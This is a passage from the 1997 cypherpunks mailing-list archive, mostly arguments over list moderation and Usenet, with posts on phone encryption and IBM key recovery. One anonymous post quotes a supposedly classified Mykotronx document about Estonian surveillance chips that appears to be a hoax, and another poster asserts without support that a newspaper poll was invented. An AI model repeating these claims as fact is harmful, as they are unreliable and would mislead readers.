The fact that some of the moderators were particularly poor players
helped to annoy others who though outspoken, where good chess players,
and led to the particularly long thread in alt.chess (or whatever
group it was) titled `guppies rule the goldfish bowl' or something.
(A `fish' is a newbie chess player, a guppie being a small fish,...)

Interesting repetition of the social phenomena of resentment of power
in electronic forums (however well intentioned, and for whatever
perceived social good).

> Another lesson is the danger of choke points.  We can see how
> tempting it is for people to exercise their control.  Even John Gilmore
> was unable to restrain himself from involuntary social engineering
> experiments.  Who would we have considered to be more trustworthy?

Quite.  For a pedigree of championing free speech, and unpaid efforts
to further freedom, he was high up on the list.  I'd feel happier if
he was joining in with these discussions, rather than getting
interested to the extent to set up moderation, even though not
participating in the discussions.

> [distributed list homing ideas]

sounds good.  But what about USENET groups?  They're distributed, what
feature of your proposed solution is superior to using USENET groups
distribution mechanisms in your opinion?

Several times in the past, a USENET newsgroup alt.cypherpunks was
suggested.  Some people were against it because they felt that it
would attract more noisy posters.

Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
an aside, it is ironic that John Gilmore was the guy who started the
alt.* USENET hierarchy, specifically to facilitate freedom of speech).

> P.S. I like and respect John and Sandy and I've learned a lot from
> both of them.  While basically well-intentioned, they just made a
> mistake in this instance.

Agree.  Also, the quicker they acknowledge their actions as mistakes,
and correct the results, the less their reputations will suffer.

Perhaps at the end of the trial moderation experiment would be a good
time to change position without loosing face.  (If acknowledging
mistakes bothers them).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:40:40 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041440.GAA28269@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Scott V. McGuire wrote:

> (Even within the community, some people are more a part of
> it than others, and nobody is more a part of it then Tim.)

Is this like saying "some of the pigs were more equal than the others"?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 3 Feb 1997 22:26:12 -0800 (PST)
To: roach_s@alph.swosu.edu
Subject: Re: Dissolving Choke Points
Message-ID: <199702040626.WAA16884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"roach_s@alph.swosu.edu"  "Sean Roach"  4-FEB-1997 00:47:40.30

>On your idea for fast implementation,  this could be hacked by would-be
>censors.  A message comes into the list, the censor sees that the post is
>from a regular enemy.  The censor then copies the header information onto a
>new message, one containing garbage, or snippets from old posts, reads the
>new post to see if it is acceptable, and if it is, adds a new header,
>probably only the time would be changed, and transmits it out.  If the would
>be censor was the sysop of a machine near the origin of the message, and if
>the censor operated the censorship either by bots, or monitored the feed 24
>hours a day, (not likely), then the actual message would get to few.

	I would suggest that the cure for this problem is to have what is
examined be a cryptographically secure hash instead of (or as well as)
the message ID. The hash should be over the body of the message, and possibly
the sender and Subject line.
	Unless Lance has driven up the prices at Infonex a lot, I'd be willing
to support such a server on an Infonex account. I'd _greatly_ appreciate help
getting the thing started, preferably as a group endeavour (to spread the
load (i.e., keep infonex from being overwhelmed), keep me from temptation,
and make it less likely that a legally troublesome message would go through
an account that I might be blamed for).
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:41:00 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702041441.GAA28345@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
> New X-ray gun trades privacy for safety
> Reported by Andy C
> Seen in The Nando Times on 13 August 1996
> "I'm incredibly concerned," said John Henry Hingson, a past president of the
> National Association of Criminal Defense Lawyers, meeting here this past
> week. "The entire nation could become a victim of illegal searches and
> seizures and the law is powerless to protect them from these police abuses."
> But in these nervous times following the the crash of TWA Fight 800 and
> bombings at the Olympics, Oklahoma City and the World Trade Center, many
> Americans are now willing to trade some of their privacy and civil liberties
> for greater security.
> A poll last week by the Los Angeles Times found that a majority of people --
> 58 percent -- said they would curtail some civil liberties if it would help
> thwart terrorism. Thirteen percent said it would depend on what rights were
> at stake. The poll didn't ask people to single out any rights.

The L.A. Times quotes this "poll" all the time, and in fact probably
just made it up.  Why do I know that?  Because they ran a "letter"
from a "teacher" in the valley somewhere about a year ago which said
exactly this same thing.  The "teacher" ran a poll of her students
and they agreed to give up the rights without even knowing which
rights they were giving up.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:40:57 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041440.GAA28334@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote:
> >(1) I agree with Tim that as a matter of principle, it would be preferable
> >to create a new moderated list, with a similar but distinguishable name,
> >and leave the existing list as it was.  I happen to think less turns on

> This is a point of view many of the most thoughtful commenters seem to
> agree on, isn't it? One would have thought that had Sandy and John really
> been interested in hearing the views of list members, this approach would
> have eventually won out.

Once again, the reason John and Sandy weren't interested was because
the main proponents of this point of view for a long time were me,
Dr. Vulis, and Toto.  Tim and others were either supportive of Sandy
or were silent.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 06:26:46 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702041426.GAA27970@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  4-FEB-1997 01:26:13.34

>(I'm working on a message re moderation and the list which will better
>explain what I think about that - but I'm not trying to argue, above, that
>we *must* have moderation for a long time - simply that it's too early to
>call it a failure for failing to significantly increase the number of
>useful messages.) 

	I'll be interested in that message. I have problems with the
takeover of the original list name, personally. While it is certainly
John Gilmore's right to do whatever he wants with the mailing list
software/hardware (I believe we've settled that, right?), I'd prefer
for the cypherpunks _name_ not be associated with a moderated/censored
list. (I mean no insult to either Sandy or John in this, BTW... I
simply think that they've gone about this the wrong way. For instance,
if John was getting an email overload for toad.com and was trying
to indirectly reduce the load via reducing responses to flames, there
are other ways to solve the problem - such as the distributed mailing
list idea. I do think that Sandy's filtered list could provide a
valuable service - most of the other filtered lists seem to filter
out a bit too much, judging by the "cc any replies to this message
directly to me, I'm on the [insert name of filtered list]" messages I
see. If the list switches to cypherpunks and cypherpunks-edited, I
might go with cypherpunks-edited (or with some combo of cypherpunks-edited
and cypherpunks-flames, the latter more filtered by procmail). My
objection is mainly due to the principle of the thing.)
	Incidentally, I checked the cyberpass.net services, and it
does list mailing lists - including a 10$ per month charge per
100 subscribers. At that rate, I can afford about 100 subscribers
on a local distributed list, given the 10% discount. (Depending
on how it goes, I might be able to afford more... I haven't looked
at my personal finances in detail recently.)

>I think you misspelled "Usenet". Hope this helps. 

>Seriously, if you want a distributed no-choke-points "flooding" message
>distribution system, you're talking about Usenet. Robust software exists
>for clients and servers, and it's already supported worldwide on many
>operating systems. No need to write more software to graft that
>functionality onto E-mail. If the list is going to turn into Usenet (we've
>already got most of Usenet's better kooks), we might as well just move the
>damn thing over to alt.cypherpunks and be done with it. (Anyone care to
>guess who founded alt.* as a way to route around censorship?)

	I'd point out that we _know_ every list member can get email,
but not that they can get Usenet. I can't conveniently get it, for
instance - I'd have to read it via HTTP and respond via email to
a news-to-mail server. Sure, I can get an account at infonex or
wherever and pick up the news groups there... but I'd prefer not
to be forced to, and I suspect the same is true of many people.

>(Of course, Usenet is a technical success and a spectacular failure,
>content-wise. So opponents of moderation will be forgiven for failing to
>mention this sparkling example of an unmoderated, anything-goes forum for
>discussion.)

	Usenet also has easy crossposting, has been discovered by
just about every spam artist known to humankind, and doesn't have
very good filtering software (IMO, the last time I checked). Limited
propagation, especially for a new alt group, especially for a _controversial_
alt group, is also a problem.
	Sure, Usenet has its advantages. (Under allens@earlham.edu and
allens@yang.earlham.edu, I was the second or third highest poster on it
for a few weeks a few years back. I'm familiar with Usenet.) But it also
has its problems.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 4 Feb 1997 06:41:07 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Dissolving Choke Points
Message-ID: <199702041441.GAA28354@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:58 PM 2/3/97 -0800, Bill Stewart wrote:
>An advantage of Usenet is the ability to deploy whatever NoCeM is
>called these days as a way to let people avoid spammers.

My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother
with the list if it were moved to (or gated with) Usenet, as Usenet has
become for the most part 100+ Mb/day of uselessness.

But my impression is that many moderation opponents would also be opponents
of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many
people claim we must have for the list to be viable, e.g.,
uncontrolled/uncontrollable distribution and messaging. So I'm curious about
whether or not the proponents of an open, uncontrolled list really want it to
be *that* open and uncontrolled. In the past, there's been strong opposition
to that. But it's possible that most of the people who had strong feelings
about not wanting to be subjected to the downside of Usenet have already left
the list.

(And if the current opponents of moderation don't want to see the list be
quite that open, I think what we're arguing about here is not "censorship v.
no censorship" but "what degree of censorship do we want? one lump, or two?",
which pretty much eliminates anyone's claim to have a moral high ground from
which to argue.)  

There's really nothing stopping anyone from just setting up a gateway. The
list is already gated one-way to Usenet; it shows up many places as
mail.cypherpunks. What's missing is a gateway running the other direction;
from looking at the headers as messages are received at my ISP (io.com),
toad.com is already in the Path: line, so preventing backfeeding shouldn't be
a problem. (Doh, it's been a few years since I fussed with mail-to-news and
back again, but this isn't rocket science.) 

The good side I see to a move to Usenet is that it lets people use the
comparatively better tools for managing messages - e.g., NoCeM, threading, nn
(whose killfiles will kill by thread, author, regexp, and can be time limited
so you can easily give annoying people a 30-day 'timeout' and see if they're
still a kook later on), AltaVista and DejaNews archiving/searching, and
server architecture that's designed to cope with storing/indexing many
messages.

The down side is that Usenet is more or less a sewer these days, and some of
it's bound to spill over. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Mon, 3 Feb 1997 19:26:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: More Hacking of the Mykotronx Site!
Message-ID: <199702040326.TAA12074@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey, d00dz, remember the dumpster diving at Mykotronx facilities in
Torrance? Where they dumped their secret plans for the Clipper chip in the
dumpsters right outside their little building in Torrance? Where guys like
me could find their spreadsheets for budget planning, production run rates,
deals with VLSI Technology, Sandia, and the other NSA  stooges? Remember
how they suddenly started shredding their papers? Well, it's been 3 years,
and apparently the new guys at Rainbow (the parent company) have forgotten
their lesson!

So, here's the latest stuff:

>>>quote

* INTERNAL USE ONLY * COMINT-restricted, limited to M3 classifications
Distribution beyond M3 a national security felony

Mykotronx has agreed to provide to the Estonian government 79.000 MYK-82
processors for its Personnel Surveillance System, as part of the
negotiations to provide Observer Status for Estonia in NATO. Negotiations
continue between Ambassador Aaron and the NATO nations have established
as a minimum that new entrants into the NATO community adhere to the
Unified Cryptography Initiative, initialed by NATO ministers in
Bruxelles, 10-13-96.

Estonia has signified compliance, as noted by their Internal Security
Directorate:

"Kiipe valimistatakse praegu Californias asuvas firmas MYKOTRONX Ltd. ja
ta hind kuigub 10 kuni 30 dollarini olenevalt konkreetsest
       t||bist ning ta on vuimline kr|pteerima/deshifreerima 15-20 MB/s."

Spysrus agrees to integrate into Personel Surveillance System (PSS)
modules for Internal Security Service (ISS) use.for over 79,000 of
Mykotronx's new Capstone encryption processor (MYK-82). The devices will
be used to build part of the Estonian government's order of Fortezza
Cryptographic Cards for the PSS awarded November 1996. Initial delivery
of the new cryptographic processor will begin June 1997.

The MYK-82, developed by Mykotronx and fabricated by VLSI Technology,
Inc., is the first of a series of security products to be developed as
part of an alliance with the NSA, targeting both Government and
commercial citizen monitoring markets.


--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 4 Feb 1997 06:41:32 -0800 (PST)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: what's in a name?
Message-ID: <199702041441.GAA28375@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:58 PM 2/3/97 -0800, Wei Dai wrote:

>An interesting way to look at what happened is that John
>Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
>that ownership. [...]
>I suspect that the hierarchical nature of name ownership on the Internet
>today will be an important technological barrier for the establishment of
>truly anarchic virtual communities.  Unless this problem is solved, the
>closest we'll come is pseudo-anarchies that exist with the tolerance of
>beneficent dictators.

Wei Dai's message raises an important question: what is the relationship
between ownership and list content or quality? 

Much of the pathology of the list in the past few months can be characterized
as a "tragedy of the commons" problem, where several private actors are
seeking to maximize the gain they can extract from a finite and commonly
owned (or unownable) resource. The resource in this case is the "reputation
capital" which has built up in the terms "cypherpunks" and
"cypherpunks@toad.com". Dmitri Vulis' behavior, where he seeks to punish the
list for failing to punish or ostracize Tim May after Tim was disrespectful
to Vulis, is an attempt to achieve private gain (public retribution) at the
expense of public goods (the continuing quality and good name of the list).
Several authors have characterized John Gilmore and Sandy Sandfort's actions
with respect to moderation and the list as an attempt to monopolize or
appropriate the good name of the list for their own private purposes. (I do
not think that the latter characterization is accurate, but it is at least
popular.) I suspect that many people will see at least one "tragedy of the
commons" problem related to the list.

Some free-market economists have suggested that the solution to "tragedy of
the commons" problems is private ownership - that where economic actors are
given ownership over what might have been owned in common, that they will
seek to maximize their long-term gain through careful management and will not
adopt wasteful or harmful short-term strategies which would have otherwise
seemed attractive.

That view (that private ownership is likely to eliminate or at least minimize
wasteful or nonoptimal use of resources) has historically been a popular one
on the list. Yet private ownership of the list (or of the list's most
concrete identity, the label "cypherpunks") seems wrong to many people.

Are mailing lists an example of a situation where "the tragedy of the
commons" is not a useful metaphor? Are mailing lists an example of "public
goods" where private ownership is impossible, or should be avoided? If not,
shouldn't we work towards more private ownership, not less?

Is the desire for an anarchic community at odds with a desire for good use of
resources? 

-----BEGIN PGP SIGNATURE-----
Version: 4.5

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VwY7uVhqvekaX/vNYutg7RpwvhdEz5dneipZMaFOWm0M+8ipZ5Ffb6vNLpRd6h2v
Hf+zF6aTvleTxQX1e3C8nrL1hhXd8HX12nK/Kz4/lOyRYvKw//VxtVa3++2M158t
YtBXQKLlYAW/NMUhMMSuqvkWbCW3PrDBhpsZRXXqWyruIeV3TKHlR4N3Rru74wHj
DPNH8sek3Ql8sjA0BbziUqbC15mLH6QSZbxy4MPVwc2s8r4Ff6t1Ew==
=QFGr
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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 4 Feb 1997 06:56:40 -0800 (PST)
To: hugh@toad.com
Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702041456.GAA28779@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm glad we're talking about some of the real issues here.

Tim May said:
> I don't want Sandy Sandfort sitting in judgment on my
> posts, deciding what the Cypherpunks--a group I co-founded for God's
> sake!!!!--are to be allowed to read and what they may not.

Tim, the Cypherpunks have chosen to follow Sandy's lead for this
month.  I'll admit I made it easy for them, but the results are
conclusive.  There are 1311 addresses in the cypherpunks list today;
42 in the unedited list; and 19 in the flames list.  Forty people
cared enough to read every posting; the other thousand either wanted
to try the experiment -- or didn't care enough to send an email
message.  Which, as we all know, is a very low threshold.

If I was a social scientist I might want to run the experiment both
ways, or six different ways.  Name it this, or name it that.  I'm not;
all I want is something that works.  The cypherpunks list was unusable
for this kind of discussion, only a month ago.  It's usable now.

I'm definitely bugged by the community's attitude toward my
"censorship".  Rather than being glad that someone, anyone, was doing
something about the major problem on the list, 99% of the reaction was
to create even more ill-considered, emotional flamage.  *I* didn't
make the signal/noise get worse at that point -- *you-all* did.

Perhaps at that point I should have shut down the list, as Lucky is
now suggesting.  "Asking the list what to do" was clearly not a useful
option.  Sandy cared enough about the community to make some concrete
suggestions to me about how to get the list back on track.  They
involved a lot more work than the previous setup.  I told him if he
was willing to do the work, we could try it.  As Dale suggests, I
wasn't about to waste my time reading the whole list in real time and
passing judgement on the postings.  Sandy was, for a month.

The element I find most lacking from the whole discussion, until
recently, has been responsibility.  In an anarchy, *everyone* is
responsible; nothing is "somebody else's job".  Sandy felt
responsible, so he proposed something.  I felt responsible, so I
helped.  But a large part of the community sat on the sidelines and
criticized, without making attempts to make things better; indeed the
volume and tone of the criticisms themselves made things worse.
Unpaid labor for a peanut gallery of spoiled children isn't very
gratifying.  You-all remind me of a passage from Booker T.
Washington's book _Up From Slavery_, describing what happened on the
night that news of the Emancipation Proclamation reached the South:

    The wild rejoicing on the part of the emancipated coloured people
    lasted but for a brief period, for I noticed that by the time they
    returned to their cabins there was a change in their feelings.
    The great responsibility of being free, of having charge of
    themselves, of having to think and plan for themselves and their
    children, seemed to take possesion of them.  It was very much like
    suddenly turning a youth of ten or twelve years out into the world
    to provide for himself.  In a few hours the great questions with
    which the Anglo-Saxon race had been grappling for centuries had
    been thrown upon these people to be solved.  These were the
    questions of a home, a living, the rearing of children, education,
    citizenship, and the establishment and support of churches.  Was
    it any wonder that within a few hours the wild rejoicing ceased
    and a feeling of deep gloom seemed to pervade the slave quarters?
    To some it seemed that, now that they were in actual possession of
    it, freedom was a more serious thing than they had expected to
    find it.

Most of the people on the list haven't bothered to face that freedom.
Your de-facto "leaders" have faced it for you.  It is a more serious
thing than than you expect.  All it takes it hard work and judgement.
Be responsible for setting your society's privacy policy -- without
knowing whether you are right.  Face the uncertainty and build anyway.
Shall I post you an Emancipation Proclamation -- as if you needed one?
Start a mailing list on another site!  Move this list to somewhere!
Create and nurture an alt group!  Make an independent moderated list
drawn from the unedited list!  Hold meetings!  Establish for it a
home, a funding, the rearing of newbies, education, citizenship, and
the establishment and support of philosophies.  Dead simple for people
as capable as us.  Just takes work.  Who's volunteering?  Just do it!

The experiment will be over in a few weeks.  Who's going to take over
deciding how to run the list, and running it?

If you want to help organize what I'll call the `progressive crypto
community', for lack of a better term, then please do.  Otherwise, in
the immortal words of Lazarus Long, "PIPE DOWN!".

	John

PS: Can we talk about crypto too?  It's clear from the last few days
of press releases that the pro-GAK forces are again working to confuse
novices into thinking that two very different things are the same
thing.  Last time it was "public key infrastructure" and "key
recovery".  This time it's "strong crypto" and "56-bit DES".  What
should we do about this?  Educate the public?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Rose <ggr@Qualcomm.com>
Date: Mon, 3 Feb 1997 12:11:30 -0800 (PST)
To: wb8foz@nrk.com
Subject: Re: PCS Encryption?
Message-ID: <199702032011.MAA01039@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher writes:
>Greg Rose sez:
>> 
>> The three different digital standards in North
>> America are TDMA, CDMA, and GSM (in NY and DC
>> only AFAIK).  Newer analog phones use at least
>> some of this, but I don't know much about them.
>
>? I always thought GSM was a specific application
>of TDMA...

Technologically, GSM *is* a kind of time division
multiple access, but the term "TDMA" as I used it
is meant to apply to North American IS-128(?)
compliant things. They are definitely not
interoperable.

Greg.

Greg Rose               INTERNET: ggr@Qualcomm.com
Qualcomm Australia      VOICE:  +61-2-9743 4646   FAX: +61-2-9736 3262
6 Kingston Avenue       homepage.
Mortlake NSW 2137       35 0A 79 7D 5E 21 8D 47  E3 53 75 66 AC FB D9 45





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 07:11:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702041511.HAA29113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> I'm glad we're talking about some of the real issues here.
> I'm definitely bugged by the community's attitude toward my "censorship".

I'll bet you are.

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.

He'd really like to, but...

> You-all remind me of a passage from Booker T.
> Washington's book _Up From Slavery_, describing what happened on the
> night that news of the Emancipation Proclamation reached the South:

What we most remind him of are slaves.

> Most of the people on the list haven't bothered to face that freedom.

Which freedom is that?

> If you want to help organize what I'll call the `progressive crypto
> community', for lack of a better term, then please do.  Otherwise, in
> the immortal words of Lazarus Long, "PIPE DOWN!".

i.e., stop saying what I don't want to hear and start saying what I
do want to hear, after all, it's *my* list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 4 Feb 1997 06:25:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: what's in a name?
Message-ID: <199702041425.GAA27874@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Without answering any of the points raised by Wei Dai, let
me address the subject line.

I have been a long time reader of and occasional contributor to
the cypherpunks list. Since it is high volume, I prefer not to have
it show up in my mailbox, but read it from either nntp.hks.net or
infinity.nus.sg/cypherpunks. With the recent change in status of the
list, what I get at those two places is the edited list. The same
would apply to other sublists subscribed to cypherpunks@toad.com too.
If hks and infinity started archiving the unedited list, this wouldn't
bother me so much.

Other than that, I am saddened, as much as a Tim is enraged, that
a supposedly libertarian and anarchistic group of people has decided
that censorship is the right solution to their problems.

Btw, what is with nntp.hks.net? Seems to have been down for couple
of days.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Tue, 4 Feb 1997 06:56:07 -0800 (PST)
Subject: No Subject
Message-ID: <199702041456.GAA28735@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 4 Feb 1997 06:42:40 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: About: My Departure, Moderation, and "Ownership of the List
Message-ID: <199702041442.GAA28392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> For what it's worth, I think that this Tim May, not being a
> user of the list, has no place to talk. His type, to me,
> characterate those who quit something and complain later,
> knowing that some people will listen to them.

Tim May has been one of the most intelligent, eloquent and on-topic 
posters to this list in it`s entire history... Who the hell are you?

I would respond to your post with reasoned and logical argument but I 
cannot find one substantive point in it that is worthy of comment. I 
will muddle through as best I can anyway:

One easy jibe here is you don`t know how to spell characterise, maybe 
you would be better off unimbibing?

> So what, if he decided to leave? It was his own choice
> and he can't just come back and say everyone who stayed is
> now impelled to listen to him, just because he used to
> do a bunch of posts. I don't think that hardly any of
> you would listened to me later if I left the list.

No-one knows who you are nor do we care, you have not accumulated any 
reputation capital nor are you likely to with posts like this.

Tim tried to cover in as much depth as possible without resorting to 
verbosity the points he felt were important and worthy of discussion 
regarding the censorship of the list and other associated issues.

You were not impelled to read his post nor to reply to it with a 
content-free rant as you did. If you felt "impelled" to read a post 
simply because it was on a screen in front of you you clearly do not 
understand even the rudiments of anarchism.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us>
Date: Tue, 4 Feb 1997 06:56:05 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, Go to Jail
Message-ID: <199702041456.GAA28733@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


in a message allegedly from:  Robert Hettinga <rah@shipwright.com>

this appeared...

>  A Maryland bill that would make it illegal to send "annoying"  or
>  "embarrassing" e-mail was introduced this week by Democratic General
>  Assembly member Samuel Rosenberg.
{snip}
> "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle

As a marylander, in particular, a baltimoron, I am both embarrassed
and annoyed that these legislative bozos have the unmitigated gall
to expend time and energy on pursuits such as these.  Perhaps they
feel that our state attorney general needs to earn his excessive
salary by attempting to defend this constitutionally indefensible
mental excrement.  Did the defeat of CDA not resonate? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us>
Date: Tue, 4 Feb 1997 06:58:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Information Warfare
Message-ID: <199702041458.GAA28816@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


in a message allegedly from:  Peter Hendrickson <pdh@best.com>

> The cypherpunks list has been under "attack" for some time.
{snip}
> Some people have dismissed the idea that rogue governmental elements
> are behind some of our problems.
{snip}
> We know that "Information Warfare" is the big thing in the defense
> establishment right now.

Information Warfare Conference
sponsored by DPMA/AITP

Washington, DC, March 13-14, 1997
Crystal City Marriott
1999 Jefferson Davis Highway
Arlington, VA  22202

Presentations by:
Major General Michael V. Hayden, Commander, Air Intelligence Agency
Dr. C. Kenneth Allard, Competitive Strategies
Col. H. Stevens, Land Information Warfare Activity

- current service visions and planned program initiatives
- operational concepts for 'third-wave' warfare
- information warfare drivers for 21st century C4I architectures
- emerging technologies and systems for information warfare 
superiority: opportunities on the horizon

'information warfare targets and vulnerabilities', Maxim I. Kovel,
 TASC systems management group

'information warfare for deterrence', William H.J. Manthorpe, Jr.
Applied Physics Laboratory, Johns Hopkins

'adaptive techniques for counter-deception', James Llinas,
technical advisor, DOD JDL, Data Fusion group

'emerging threats come in all sizes and flavors', Eugene Schultz, SRI
consulting

"Information has been termed the 'fifth dimension' in the conduct of 
'third-wave' warfare, and promises to dramatically enhance the role 
of C4I as a force multiplier.  Joint and individual service doctrine 
is emerging for IW, ans is affecting the needs and requirements for 
diverse systems:  from space-based surveillance and communications 
systems to terrestrial image processing, visualization, and 
information fusion systems."

"This conference will provide a valuable forum where military and 
industry staff can interact with key decision-makers to achieve the 
most current possible understanding of Information Warfare concepts, 
initiatives, technologies and potential opportunities.  The Critical 
Questions to be addressed include:

- how is IW changing operational concepts?
- how can we defend the weak links in the planned 
information-intensive reconnaissance, strike, targeting architecture?
- what developments in enabling technologies are needed to support 
current Information Operations, Battlefield Visualization, and 
Information Exploitation initiatives?
-what can be done to develop defensive information technology 
capabilities?

            and last, but _c_e_r_t_a_i_n_l_y_ not least:

- how will we move forward to develop a true offensive IW capability

==============================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 10:05:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM's SecureWay Key Recovery technology
Message-ID: <199702041805.KAA02744@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From <http://www.ibm.com/Security/html/prkeyrec.html>:

>At the RSA Conference, IBM announced the details of its highly
>anticipated SecureWay key recovery technology. IBM is developing this
>technology in response to market demands for exportable strong
>encryption required to advance the growth of global e-business.
>[ yada yada yada snipped ]

I attended this presentation. Basically, what they do is to add
two packets to the "channel setup process", one that depends only
on the coorespondents, the other that contains the information
about this particular session.

A problem with this, as I pointed out to the presenters, is
that the first packet can be trivially used for traffic analysis.
The eavesdropper may not be able to determine who is
cooresponding, but they can tell if it is the same people
as in a previous conversation.


>From <http://www.ibm.com/security/html/wp_keyrec2.html>
>In order to minimize the preparation overhead, the recovery information
>is prepared in two phases: one phase is independent of the particular
>session/archive key being prepared; the second phase is dependent on the
>particular key and session parameters. The first phase, which uses
>public-key encryption, can be shared across multiple invocations of key
>recovery preparation, thus reducing overhead. The public-key encryptions
>can be stored for repeated use.
>
As you can see, IBM suggests cacheing the contents of the
first packet, so that you don't have to recalculate it each
time. Imagine how easy traffic analysis would be if the
identification packets were identical instead of just related.



-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 13:59:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM's SecureWay Key Recovery technology
Message-ID: <199702042159.NAA06345@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From <http://www.ibm.com/Security/html/prkeyrec.html>:

>At the RSA Conference, IBM announced the details of its highly
>anticipated SecureWay key recovery technology. IBM is developing this
>technology in response to market demands for exportable strong
>encryption required to advance the growth of global e-business.
>[ yada yada yada snipped ]

I attended this presentation. Basically, what they do is to add
two packets to the "channel setup process", one that depends only
